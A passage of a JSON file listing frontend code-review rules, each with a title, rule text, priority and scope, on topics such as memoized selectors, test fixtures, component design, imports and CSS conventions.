P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Design components so callers can use them without external coordination","rule":"Encapsulate a feature in one component whose usage is self-contained; avoid splitting it into two components that the caller must wire together by matching ids/config, even if internal logic is complex.","apiRule":"Encapsulate a feature in one component whose usage is self-contained; avoid splitting it into two components that the caller must wire together by matching ids/config, even if internal logic is complex. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Derive computed store data with memoized selectors","rule":"Use a memoized selector library (e.g. reselect) to compute derived data from the store rather than recomputing it inline on every render or connect call.","apiRule":"Use a memoized selector library (e.g. reselect) to compute derived data from the store rather than recomputing it inline on every render or connect call. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer Partial<T> over any when a fixture is an incomplete version of a known type","rule":"When test data is a subset of a known interface, type it as Partial<T> to retain type checking; fall back to any only when nested-shape incompatibilities make Partial impractical.","apiRule":"When test data is a subset of a known interface, type it as Partial<T> to retain type checking; fall back to any only when nested-shape incompatibilities make Partial impractical. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Build test fixtures inside the test that uses them, not by mutating shared setup","rule":"Define data a single test needs within that test rather than placing it in shared beforeEach setup and mutating it later; minor duplication is preferable to coupled, mutated fixtures.","apiRule":"Define data a single test needs within that test rather than placing it in shared beforeEach setup and mutating it later; minor duplication is preferable to coupled, mutated fixtures. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Confine loose types like any to test code instead of production models","rule":"When a test needs to feed deliberately incomplete or malformed data, cast it to a loose type inside the test rather than weakening the production interface to accommodate the unexpected shape.","apiRule":"When a test needs to feed deliberately incomplete or malformed data, cast it to a loose type inside the test rather than weakening the production interface to accommodate the unexpected shape. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep independent features from depending on each other's styles","rule":"Separate apps/features shouldn't be forced to share a global base class or stylesheet; give each its own base so they can evolve and use different libraries independently.","apiRule":"Separate apps/features shouldn't be forced to share a global base class or stylesheet; give each its own base so they can evolve and use different libraries independently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name a class/type after the single concept it represents","rule":"A type representing one item should be named singular and for its role (UserChannelFilter), not vaguely (UserChannel) that implies something else.","apiRule":"A type representing one item should be named singular and for its role (UserChannelFilter), not vaguely (UserChannel) that implies something else. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep presentational components dummy; lift logic to the container","rule":"Avoid leaking control logic into leaf components — having them just render from props (and routing logic through the parent) prevents subtle state-coupling bugs.","apiRule":"Avoid leaking control logic into leaf components — having them just render from props (and routing logic through the parent) prevents subtle state-coupling bugs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Separate reusable wrappers (Popup) from feature content","rule":"Keep generic shell concerns (visibility, close) in a reusable Popup wrapper and pass feature content as children, so the popup can be reused without re-implementing it.","apiRule":"Keep generic shell concerns (visibility, close) in a reusable Popup wrapper and pass feature content as children, so the popup can be reused without re-implementing it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep URLs simple and free of special characters","rule":"Avoid special characters, locale tokens, and camelCase in URL paths; prefer lowercase, hyphen/slash-separated segments.","apiRule":"Avoid special characters, locale tokens, and camelCase in URL paths; prefer lowercase, hyphen/slash-separated segments. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep one test file per component or class","rule":"Split tests so each component/class has its own test file rather than bundling several into one.","apiRule":"Split tests so each component/class has its own test file rather than bundling several into one. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Treat uncertainty about behavior as a sign of missing tests","rule":"If you can't be sure how code behaves in a case, that case needs test coverage.","apiRule":"If you can't be sure how code behaves in a case, that case needs test coverage. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Catch errors on every attempt, including retries","rule":"When retrying a failing call, wrap the retry in its own error handling so a second failure doesn't go unhandled.","apiRule":"When retrying a failing call, wrap the retry in its own error handling so a second failure doesn't go unhandled. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use Math.abs for absolute values","rule":"Reach for Math.abs rather than hand-rolling sign checks to get a magnitude.","apiRule":"Reach for Math.abs rather than hand-rolling sign checks to get a magnitude. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't read global objects directly inside helper classes","rule":"Inject dependencies like navigator/document into a helper rather than reaching for globals, so its scope and testability stay clean.","apiRule":"Inject dependencies like navigator/document into a helper rather than reaching for globals, so its scope and testability stay clean. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Give each component its own props interface","rule":"Don't share one props interface between two components even if currently identical; changing it for one would unintentionally change the other.","apiRule":"Don't share one props interface between two components even if currently identical; changing it for one would unintentionally change the other. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Import from a directory, not its /index file","rule":"Let the module resolver pick up index automatically; import from 'Foo/Bar' rather than 'Foo/Bar/index'.","apiRule":"Let the module resolver pick up index automatically; import from 'Foo/Bar' rather than 'Foo/Bar/index'. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a default export for a module's single primary component","rule":"Export the main component as default so consumers can import it by a clean name without the /index path noise.","apiRule":"Export the main component as default so consumers can import it by a clean name without the /index path noise. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Self-close JSX elements that have no children","rule":"Use <Button /> rather than <Button></Button> when there is no child content.","apiRule":"Use <Button /> rather than <Button></Button> when there is no child content. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use border-radius: 50% for circular elements","rule":"A percentage border-radius keeps an element circular regardless of size, unlike a fixed pixel radius.","apiRule":"A percentage border-radius keeps an element circular regardless of size, unlike a fixed pixel radius. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Show an empty-state message instead of silently hiding the element","rule":"When a section has no data for the current filter, render an informative message rather than null, so users don't hunt for a vanished item.","apiRule":"When a section has no data for the current filter, render an informative message rather than null, so users don't hunt for a vanished item. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Render a shared control once in the parent, not once per list item","rule":"A single close/dismiss button that belongs to a container should live in the container, not be duplicated inside every list item.","apiRule":"A single close/dismiss button that belongs to a container should live in the container, not be duplicated inside every list item. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Parameterize direction/variant instead of writing near-duplicate functions","rule":"Pass a direction or sign as an argument to one function rather than maintaining separate slideLeft/slideRight functions.","apiRule":"Pass a direction or sign as an argument to one function rather than maintaining separate slideLeft/slideRight functions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Return inline styles as an object, not a concatenated string","rule":"Build style helpers as objects so additional properties are easy to add and stay typed.","apiRule":"Build style helpers as objects so additional properties are easy to add and stay typed. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Require a minimum query length before firing a search","rule":"Gate search/autocomplete requests behind a minimum input length to avoid noisy, useless queries.","apiRule":"Gate search/autocomplete requests behind a minimum input length to avoid noisy, useless queries. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep unconditional assignments out of conditional branches","rule":"Assign the base value once, then add to it inside the condition, instead of repeating the base in each branch.","apiRule":"Assign the base value once, then add to it inside the condition, instead of repeating the base in each branch. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Set value-specific style properties on the rule, not hard-coded in a shared mixin","rule":"A shared mixin should hold only common properties; values that vary per usage belong on the consuming rule so the cascade doesn't apply two competing values.","apiRule":"A shared mixin should hold only common properties; values that vary per usage belong on the consuming rule so the cascade doesn't apply two competing values. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Prefer composition over inheritance for UI components","rule":"When two components share some behavior but override others, compose them (children/props) instead of extending a base class.","apiRule":"When two components share some behavior but override others, compose them (children/props) instead of extending a base class. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't set both padding shorthand and longhand on the same rule","rule":"Specifying padding and then padding-left/padding-right on the same selector is redundant and confusing; use a single declaration.","apiRule":"Specifying padding and then padding-left/padding-right on the same selector is redundant and confusing; use a single declaration. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use consistent casing for acronyms in identifiers","rule":"Pick one casing convention for acronyms (e.g. Id not ID) and apply it consistently across type and variable names.","apiRule":"Pick one casing convention for acronyms (e.g. Id not ID) and apply it consistently across type and variable names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Store the data shape that matches how it is used and persisted","rule":"Store only the identifiers you actually persist and resolve (e.g. ids saved to a cookie) rather than full entities, unless relations require the whole object.","apiRule":"Store only the identifiers you actually persist and resolve (e.g. ids saved to a cookie) rather than full entities, unless relations require the whole object. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name a list-item component for what it is, not an ambiguous suffix","rule":"Avoid item names like XRecord that read as a past-tense/recorded thing; prefer XItem or XEvent so it's clear it's one entry in a list.","apiRule":"Avoid item names like XRecord that read as a past-tense/recorded thing; prefer XItem or XEvent so it's clear it's one entry in a list. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reference shared styles via composes rather than a non-existent class","rule":"In CSS Modules don't reference a class that doesn't exist; use composes to pull in shared rules from another module.","apiRule":"In CSS Modules don't reference a class that doesn't exist; use composes to pull in shared rules from another module. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Put test and build-only packages in devDependencies","rule":"Runtime dependencies belong in dependencies; tooling needed only to test or build (test runners, loaders) belongs in devDependencies to keep the production install lean.","apiRule":"Runtime dependencies belong in dependencies; tooling needed only to test or build (test runners, loaders) belongs in devDependencies to keep the production install lean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Assert against shared test-data fields instead of duplicated literals","rule":"Reference the same data object the component uses (e.g. article.url) in assertions, so changing test data doesn't require editing every literal in the test.","apiRule":"Reference the same data object the component uses (e.g. article.url) in assertions, so changing test data doesn't require editing every literal in the test. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't compile third-party libraries through your own bundler config","rule":"Prefer including a prebuilt/minified vendor bundle over running an external library through your webpack rules, which may differ from what the library expects.","apiRule":"Prefer including a prebuilt/minified vendor bundle over running an external library through your webpack rules, which may differ from what the library expects. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use const for bindings that are never reassigned","rule":"Declare variables with const unless they are reassigned; reserve let for genuine reassignment.","apiRule":"Declare variables with const unless they are reassigned; reserve let for genuine reassignment. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Version static assets to enable cache busting","rule":"Reference static assets through a versioned/hashed path so updates don't get served stale from caches and don't require manual work after each change.","apiRule":"Reference static assets through a versioned/hashed path so updates don't get served stale from caches and don't require manual work after each change. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Verify browser compatibility before relying on a CSS feature","rule":"Before depending on a CSS feature (e.g. calc, certain pseudo-elements) check support against your target browsers, and consider a more compatible approach when support is thin.","apiRule":"Before depending on a CSS feature (e.g. calc, certain pseudo-elements) check support against your target browsers, and consider a more compatible approach when support is thin. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Dedupe with a Set and spread back to an array for readability","rule":"To add a unique item to a list, build a Set and spread it to an array rather than hand-rolling index checks.","apiRule":"To add a unique item to a list, build a Set and spread it to an array rather than hand-rolling index checks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Follow one consistent convention for type declaration files","rule":"When a project keeps one ambient type per file, keep adding new ones the same way (e.g. svg.d.ts) rather than dumping unrelated types into a catch-all file.","apiRule":"When a project keeps one ambient type per file, keep adding new ones the same way (e.g. svg.d.ts) rather than dumping unrelated types into a catch-all file. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Place behavior-altering global hooks at the top of the file","rule":"Code that monkey-patches modules or changes global behavior on import should sit at the top of the entry file so its effect is obvious.","apiRule":"Code that monkey-patches modules or changes global behavior on import should sit at the top of the entry file so its effect is obvious. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't define body or global rules inside a component stylesheet","rule":"Global/body styling belongs in a shared global stylesheet, not scoped component files, to avoid leaking and surprising overrides.","apiRule":"Global/body styling belongs in a shared global stylesheet, not scoped component files, to avoid leaking and surprising overrides. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name a factory after what it does, not the type it returns","rule":"A module that constructs and returns a configured instance should be named like a factory (e.g. xProviderFactory), and the instance named plainly, to avoid confusion with the class itself.","apiRule":"A module that constructs and returns a configured instance should be named like a factory (e.g. xProviderFactory), and the instance named plainly, to avoid confusion with the class itself. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't name a single interface with both State and Props","rule":"An interface named with both 'State' and 'Props' is misleading; keep separate, clearly named Props and State interfaces per component.","apiRule":"An interface named with both 'State' and 'Props' is misleading; keep separate, clearly named Props and State interfaces per component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Combine default and named imports from the same module into one statement","rule":"When importing both a default export and named exports from the same module, do it in a single import line rather than two.","apiRule":"When importing both a default export and named exports from the same module, do it in a single import line rather than two. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Make fields readonly when nothing should mutate them","rule":"If a property is only read, declare it readonly (or expose a getter with no setter) so it can't be changed accidentally.","apiRule":"If a property is only read, declare it readonly (or expose a getter with no setter) so it can't be changed accidentally. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Set object state in the constructor to keep objects immutable","rule":"If all fields can be provided at construction, set them there and avoid setters; this makes the object immutable and prevents accidental later mutation.","apiRule":"If all fields can be provided at construction, set them there and avoid setters; this makes the object immutable and prevents accidental later mutation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Separate external dependencies from local imports with a blank line","rule":"Group third-party imports first, then a blank line, then internal/local imports, so it is easy to see what the module actually depends on.","apiRule":"Group third-party imports first, then a blank line, then internal/local imports, so it is easy to see what the module actually depends on. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Load stylesheets in the document head, not the body","rule":"Import or link CSS in the head so styles are available before content renders, avoiding flashes of unstyled content.","apiRule":"Import or link CSS in the head so styles are available before content renders, avoiding flashes of unstyled content. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give event and message payloads an explicit type instead of using any","rule":"Define an interface for postMessage / event .data payloads so the available fields are documented and type-checked rather than accessed off an untyped value.","apiRule":"Define an interface for postMessage / event .data payloads so the available fields are documented and type-checked rather than accessed off an untyped value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't add runtime type guards for values already guaranteed by the type system","rule":"If a parameter is already typed as a string, a typeof string check is dead defensive code; remove it unless the value genuinely crosses an untyped boundary.","apiRule":"If a parameter is already typed as a string, a typeof string check is dead defensive code; remove it unless the value genuinely crosses an untyped boundary. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep response mapping out of generic data-fetching layers","rule":"Don't bury domain-specific shaping or interface mapping inside a generic provider/fetch layer; put it in a dedicated mapper or the upstream service so providers stay reusable.","apiRule":"Don't bury domain-specific shaping or interface mapping inside a generic provider/fetch layer; put it in a dedicated mapper or the upstream service so providers stay reusable. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give utility functions descriptive names and JSDoc","rule":"Name a helper after what it does, not its raw transformation; if the name cannot fully convey intent, add a JSDoc comment explaining its behavior.","apiRule":"Name a helper after what it does, not its raw transformation; if the name cannot fully convey intent, add a JSDoc comment explaining its behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Tighten return types that are never actually null","rule":"If a function always returns a value, do not annotate its return type as nullable; remove the unnecessary `| null` so callers are not forced into defensive checks for an impossible case.","apiRule":"If a function always returns a value, do not annotate its return type as nullable; remove the unnecessary `| null` so callers are not forced into defensive checks for an impossible case. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type a value consistently through the whole component chain","rule":"When you change a prop's type to a domain type, propagate it through every component that passes it so no intermediate link reintroduces a cast.","apiRule":"When you change a prop's type to a domain type, propagate it through every component that passes it so no intermediate link reintroduces a cast. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Trim trailing punctuation from log messages","rule":"Drop dangling separators like a trailing ' -' from log message strings, especially after moving the error into a structured field.","apiRule":"Drop dangling separators like a trailing ' -' from log message strings, especially after moving the error into a structured field. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Keep only components in the components folder","rule":"Constants, utilities and other non-component modules belong in their dedicated directories, not under components/.","apiRule":"Constants, utilities and other non-component modules belong in their dedicated directories, not under components/. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Manually test UI prop migrations before merging","rule":"API-surface migrations (e.g. moving to slotProps) can silently change rendering; verify the affected components visually rather than trusting the type checker alone.","apiRule":"API-surface migrations (e.g. moving to slotProps) can silently change rendering; verify the affected components visually rather than trusting the type checker alone. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Prefer a named noop over an anonymous default export","rule":"When a framework requires a default export you don't otherwise need, export a named empty function instead of an anonymous arrow to satisfy lint without a disable comment.","apiRule":"When a framework requires a default export you don't otherwise need, export a named empty function instead of an anonymous arrow to satisfy lint without a disable comment. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Leave pre-existing lint violations alone when introducing a linter","rule":"When adding or tightening lint rules, suppress existing violations and fix them incrementally; mass-fixing unrelated code only inflates the diff and risks regressions.","apiRule":"When adding or tightening lint rules, suppress existing violations and fix them incrementally; mass-fixing unrelated code only inflates the diff and risks regressions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Import named members directly instead of suppressing a lint rule","rule":"Destructure the named export at import time (e.g. import x, { y } from 'pkg') rather than accessing default.member and adding a disable comment.","apiRule":"Destructure the named export at import time (e.g. import x, { y } from 'pkg') rather than accessing default.member and adding a disable comment. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Include measured content in effect dependencies when it can change","rule":"A measurement effect with an empty dep array will not rerun when its source content updates; depend on the content so it re-measures (or document why a one-shot run is intended).","apiRule":"A measurement effect with an empty dep array will not rerun when its source content updates; depend on the content so it re-measures (or document why a one-shot run is intended). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: 